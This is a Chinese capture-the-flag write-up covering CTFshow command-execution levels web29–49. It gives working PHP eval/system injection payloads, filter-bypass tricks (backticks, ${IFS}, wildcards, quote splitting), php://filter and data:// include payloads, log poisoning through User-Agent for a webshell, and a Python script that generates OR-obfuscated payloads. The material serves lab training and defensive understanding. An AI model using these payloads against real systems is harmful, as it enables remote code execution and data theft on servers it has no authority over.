CTF WEB入门 命令执行篇29-49

完成信息收集以及爆破篇,继续命令执行。对应CTFshow 命令执行web29-49

后面的web50-124在另外两篇文章

目录

web29

web30

web31

web32

web33

web34

web35

web36

web37

web38

web39

web40

web41

web42

web43

web44

web45

web46

web47

web48

web49

总结


web29

这里给出一串代码,特别要注意eval()函数

  • preg_match()函数是正则表达式匹配函数,这里过滤了flag,i表示大小写不敏感
  • eval()函数是在php代码审计中非常重要经典的函数。可以用于动态执行代码和表达式求值。
  • 在这里可以利用eval这个函数,传入c参数值,进行命令执行,比如system('ls')查看文件列表
复制代码
https://77460aed-0904-482f-b437-8194e971f1c0.challenge.ctf.show?c=syestem('ls');

可以看到这里有两个文件,那flag应该就在flag.php文件里面,查看文件cat

  • 这里用到了正则过滤flag,那我们可以使用通配符fla*,表示匹配fla所有开头的文件。
  • 也可以使用?通配符,同样表示匹配任意字母。fla?.php
  • 可以使用''或""或\进行分割,fla''g,正则匹配不了,但是shell会忽略最终能够拼接。
复制代码
https://77460aed-0904-482f-b437-8194e971f1c0.challenge.ctf.show/?c=system(cat fla*.php);

查看源代码,得到flag

web30

这里依然是php代码审计。这里跟web29不同的是,这里过滤了flag、system以及php,那我们需要进行绕过。

这里有几种绕过方式可以都了解一下

  • 这里过滤了system函数执行,可以使用**反引号``**来进行绕过。原理:linux的反引号,可以执行命令。可以在一个命令中使用反引号来执行另一个命令,并将结果插入到原始命令中。比如echo `cat flag.php`,那么它执行反引号里面的内容,然后再执行echo。这样就可以绕过题目中的过滤。

  • 除了system和``,还有**exec()、shell_exec()、passthru()**这些函数也可以执行命令。但试了一下,exec这里直接使用不可以,原因是它只返回最后一行,可以使用passthru。

  • 还可以利用include包含和伪协议进行绕过。?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php。原理:绕过c参数,include一个新的参数,新的参数url使用一个伪协议可以读取文件的内容(需要用到base64编码是为了不让include执行flag.php文件)。当然得到的是base64编码后的内容,需要将其解码就能获得原始文件内容。
    system和passthru不用echo,而反引号和shell_exec函数需要echo原因

  • system()passthru()"输出型" 函数,它们设计目的就是直接显示命令结果

  • 反引号、shell_exec()exec()"返回型" 函数,它们将结果作为字符串返回,由程序员决定如何处理

web31

进一步严格的过滤。

这里过滤了flag、system、php、cat、sort、shell、英文句号.、空格、单引号

过滤了很多关键的

  • 但我们仍然可以用反引号执行命令``,以及passthru函数
  • 过滤了空格 ,可以使用其他字符代替:
    • %09,Tab符
    • %0a,换行符
    • ${IFS},内部字段分隔符
    • <,重定向符
  • 过滤了cat ,我们可以使用tac函数。cat是正序输出文件,tac是倒序输出文件,php文件倒序输出反而可以直接打印到页面,不用查看源码。更复杂情况要知道tail(末尾内容)、less(分页显示)、more(分页显示)。
  • 也可以使用include绕过,因为这里只限制了c参数

web32

这里关键增加了反引号和括号的过滤,所以这里不可以使用反引号以及exec这样的函数进行命令执行

那我们依然可以使用include和伪协议来进行绕过。不过这里的分号;被过滤了,可以使用?>进行过滤,原理是因为php最后一行语句的分号可以省略。

复制代码
https://7f1c2c44-633e-40ec-8b7d-ba4815f3765d.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

进行base64解码

web33

就比上一题多过滤了双引号,那web32的payload还能用。一样的

复制代码
https://8de4138a-d318-4071-8eee-4b039552db68.challenge.ctf.show/?c=include$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

这里也不是只能用php://filter,也可以用别的伪协议

复制代码
c=include%0A$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
  • data://协议,允许在URL中直接嵌入数据。include遇到data会读取协议里面的内容,读取到的内容是php函数会去执行
  • php://filter/协议,对数据流进行过滤转换,是读取文件内容,应用 base64-encode 过滤器进行编码

web34

多过滤一个冒号,那还是一样,不多啰嗦。

复制代码
https://e18ba3a4-1046-4031-975e-f5d5203856b2.challenge.ctf.show/?c=include%0A$_GET[a]?%3E&a=data://text/plain,%3C?php%20system(%22cat%20flag.php%22);?%3E

web35

多过滤一个<号,还是一样

复制代码
https://e3850377-3ba0-4910-9cd1-efa96e614865.challenge.ctf.show/?c=include%0A$_GET[a]?%3E&a=data://text/plain,%3C?php%20system(%22cat%20flag.php%22);?%3E

web36

一样的,多了过滤数字

复制代码
https://1df5d8d0-2310-4d06-8716-5c37e75b4033.challenge.ctf.show/?c=include$_GET[a]?>&a=data://text/plain,%3C?php%20system(%22cat%20flag.php%22);?%3E

web37

代码显示,直接包含c参数,且过滤了flag

这里不能直接将c=fla*.php让其直接包含打印flag(因为代码环境是很多遍的)。可以使用data://伪协议(php://filter伪协议不支持*号)打印文件内容,不依赖外部的echo获得文件内容

复制代码
https://e8ea1230-8acd-48bd-96a3-c91a6bbb67a8.challenge.ctf.show/?c=data://text/plain,%3C?php%20system(%22tac%20fla*.php%22)?%3E

这里也可以利用包含日志绕过

包含nginx默认日志路径查看日志文件/var/log/nginx/access.log

可以看到是一些User-Agent信息,那我们可以想到是否可以修改User-Agent信息能够保存到log文件里面,然后再包含这个日志文件执行里面的代码

然后使用蚁剑连接即可。

web38

多了过滤php和file。那还是可以利用data伪协议或者日志写入。

利用data协议,这里过滤掉php,那我们可以尝试编码

复制代码
源代码
<?php system("tac fla*.php");?>

base64编码后
PD9waHAgc3lzdGVtKCJ0YWMgZmxhKi5waHAiKTs/Pg==

payload
https://625e5af8-1fd8-4baa-b745-4c984625c497.challenge.ctf.show/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhKi5waHAiKTs/Pg==

当然这里最简单的可以省略php,php解析器也可以正常解析。

复制代码
?c=data://text/plain,<?system('tac% fla*.php')?>

web39

不一样的是,上面的是包含c的参数,这里是包含参数.php,多了个后缀名

不过对于执行函数没有什么影响,因为?>结束符号,那他就不会继续解析后面的内容。

复制代码
https://06dcee30-9257-4b3b-80b3-71b3d9ea6243.challenge.ctf.show/?c=data://text/plain,%3C?php%20system(%22tac%20fla*.php%22)?%3E

web40

几乎过滤了各种符号,允许的字符有字母、下划线_、空格、英文括号、分号;。上面的方法都不能使用(因为都存在大量符号),而且编码也行不通因为过滤了数字。

经过提醒才发现,这里过滤的是中括号,不是英文符号(需要很仔细就是了),那还是可以执行任意函数,这里的参数传入eval函数里面执行。

看了wp给出payload

复制代码
?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));
?c=highlight_file(next(array_reverse(scandir(getcwd()))));
?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");

1.利用指针来指定文件,这样就可以绕过指定文件等一系列需要符号的地方,只需要函数就可以执行成功。

(1) ?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));

  • getcwd,获取当前目录路径
  • scandir,扫描目录
  • array_reverse,将数组顺序反转
  • next,指针指向下一个
  • show_source,高光显示文件源码
  • print_r,输出内容

总结起来就是获取当前目录路径之后,再获取当前目录下面的文件,然后反转数组顺序,指针原本指向第一位,现在让他指向第二位,也就是想要的flag.php文件,然后再高光显示文件源码,最后输出。

  • ?c=print_r(getcwd());
  • ?c=print_r(scandir(getcwd()));
  • ?c=print_r(array_reverse(scandir(getcwd())));
  • ?c=print_r(next(array_reverse(scandir(getcwd()))));

(2) highlight_file,也是高光显示文件,不过它会直接输出,所以不需要print_r。

  1. c参数不可以,那可以传入另一个参数执行命令,只需要获取另一个参数值,同样也是利用指针。

?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");

  • get_defined_vars,获取所有已定义的变量

?c=print_r(get_defined_vars()); ;&1=;system("tac flag.php");

  • reset,指向并获取第一个元素,一般获取GET数组

?c=print_r(reset(get_defined_vars())); ;&1=;system("tac flag.php");

这样就可以绕过符号限制,获取第二个参数值并执行。

web41

越来越极端,这里将数字和字母都过滤了,以及一些关键字符。

绕过的思想是匹配ASCII码中没有被过滤的字符,进行位运算'|'没有被过滤,得到我们想要的字符串。可以写脚本实现,先看payload

复制代码
import re
import urllib
from urllib import parse
import requests
 
contents = []
 
#尝试所有ASCII字符
for i in range(256):
    for j in range(256):
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
        #先过滤掉被限制的字符
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue
        else:
            a = '%' + hex_i
            b = '%' + hex_j
            #获取所有符合规则字符s=a|b,OR运算得到的字符集合(生成的字符,a,b)
            c = chr(int(a[1:], 16) | int(b[1:], 16))
            if 32 <= ord(c) <= 126:
                contents.append([c, a, b])
 
 
def make_payload(cmd):
    payload1 = ''
    payload2 = ''
    #匹配payload字符
    for i in cmd:
        for j in contents:
            if i == j[0]:
                #生成a|b的a和b
                payload1 += j[1]
                payload2 += j[2]
                break
    payload = '("' + payload1 + '"|"' + payload2 + '")'
    return payload
 
#指定url
URL = input('url:')
#指定你需要执行的函数
payload = make_payload('system') + make_payload('cat flag.php')
#指定参数c
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

这里注意粘黏的时候,将https改为http,ctf平台是http,如果https可能需要你认证等之类的报错。

web42

出现新的情况,>dev/null 2>&1 意思是将标准输出和标准错误输出到/dev/null,即不回显

可以使用 " ; " " || " " & " " && " 绕过不回显

  • ; 分隔,这样分号之前命令行正常执行输出,后面命令行才会执行不回显
  • || 前面正常执行则不会执行后面的命令
  • | 这里介绍是为了同||区分,|是顺序执行,前面执行结果会传递到后面
  • & 同时进行,不影响执行输出结果
  • && 顺序执行,但不影响执行输出结果

web43

多过滤了cat和分号。上面讲过过滤了cat可以用tac等函数,一样的

下面这几道题过滤规则都是前面讲过的,非常适合自己再做一遍查缺补漏。

web44

多过滤了flag,用*号绕过

web45

多过滤了空格,用%09绕过

web46

多过滤数字、$以及*,那么*通配符使用不了,可以用?通配符绕过

web47

多过滤了很多more等的绕过cat的一些查看文件内容的函数,但是没有过滤tac,那还是一样

web48

过滤更多函数,还是没有过滤tac,一样

web49

多过滤了%号,还是一样(%09这样算是一个Tab符,不会过滤的)

总结

都是一些php的代码审计和命令执行。

  • system绕过。``反引号、exec()、passthru()
  • 空格绕过。%09Tab符、%0a换行符、${IFS}内部字段分隔符、<重定向符
  • cat绕过。tac、more、less等
  • 过滤特定单词,例如flag或tac等,可以使用通配符*、?绕过,使用''或""或\分割绕过。
  • include和伪协议绕过,日志包含绕过
  • 极端情况,过滤了数字和很多符号,没有过滤字母,利用指针来指定文件然后读取
  • 极端情况,基本过滤了全部符号、数字以及字母,使用位运算来获得想执行的函数
  • 代码结果输出到/dev/null,可以使用;、&、||进行绕过
相关推荐
bnsarocket3 小时前
Verilog和FPGA的自学笔记8——按键消抖与模块化设计
笔记·fpga开发·verilog·自学·硬件编程
云边有个稻草人4 小时前
Rust 借用分割技巧:安全解构复杂数据结构
数据结构·安全·rust
TL滕4 小时前
从0开始学算法——第一天(如何高效学习算法)
数据结构·笔记·学习·算法
仰望—星空4 小时前
MiniEngine学习笔记 : CommandAllocatorPool
笔记·学习
Cyyyy_g4 小时前
【2025 SWPU-NSSCTF 秋季训练赛】WebFTP
安全·网络安全
朝新_5 小时前
【SpringBoot】玩转 Spring Boot 日志:级别划分、持久化、格式配置及 Lombok 简化使用
java·spring boot·笔记·后端·spring·javaee
charlie1145141915 小时前
CSS学习笔记3:颜色、字体与文本属性基础
css·笔记·学习·教程·基础
Wang's Blog6 小时前
Nestjs框架: gRPC微服务通信及安全实践全解析
安全·微服务·架构·nestjs
MicroTech20257 小时前
微算法科技(NASDAQ MLGO):以隐私计算区块链筑牢多方安全计算(MPC)安全防线
科技·安全·区块链